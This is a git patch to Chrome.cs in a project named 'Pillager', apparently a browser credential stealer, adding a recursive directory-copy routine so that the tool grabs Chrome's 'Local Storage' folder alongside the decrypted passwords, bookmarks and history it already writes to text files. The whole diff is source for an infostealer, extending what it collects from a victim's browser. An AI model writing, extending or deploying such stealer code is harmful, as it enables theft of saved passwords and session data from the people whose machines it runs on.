From bf0e8f7e50c80d220e9448747f27ebc57471f4f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=B0=9E=E7=B4=94?= <287182701@qq.com> Date: Mon, 25 Sep 2023 18:47:37 +0800 Subject: [PATCH] Update Chrome.cs --- Pillager/Browsers/Chrome.cs | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/Pillager/Browsers/Chrome.cs b/Pillager/Browsers/Chrome.cs index 47dbc91..05a1a55 100644 --- a/Pillager/Browsers/Chrome.cs +++ b/Pillager/Browsers/Chrome.cs @@ -206,6 +206,31 @@ namespace Pillager.Browsers return stringBuilder.ToString(); } + static void CopyDirectory(string sourceDir, string destinationDir, bool recursive) + { + var dir = new DirectoryInfo(sourceDir); + + if (!dir.Exists) + throw new DirectoryNotFoundException($"Source directory not found: {dir.FullName}"); + + DirectoryInfo[] dirs = dir.GetDirectories(); + Directory.CreateDirectory(destinationDir); + foreach (FileInfo file in dir.GetFiles()) + { + string targetFilePath = Path.Combine(destinationDir, file.Name); + file.CopyTo(targetFilePath); + } + + if (recursive) + { + foreach (DirectoryInfo subDir in dirs) + { + string newDestinationDir = Path.Combine(destinationDir, subDir.Name); + CopyDirectory(subDir.FullName, newDestinationDir, true); + } + } + } + public void Save(string path) { if (MasterKey==null) @@ -222,6 +247,10 @@ namespace Pillager.Browsers File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords); File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books); File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history); + if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) + { + CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"),true); + } Console.WriteLine("Files wrote to " + savepath); } }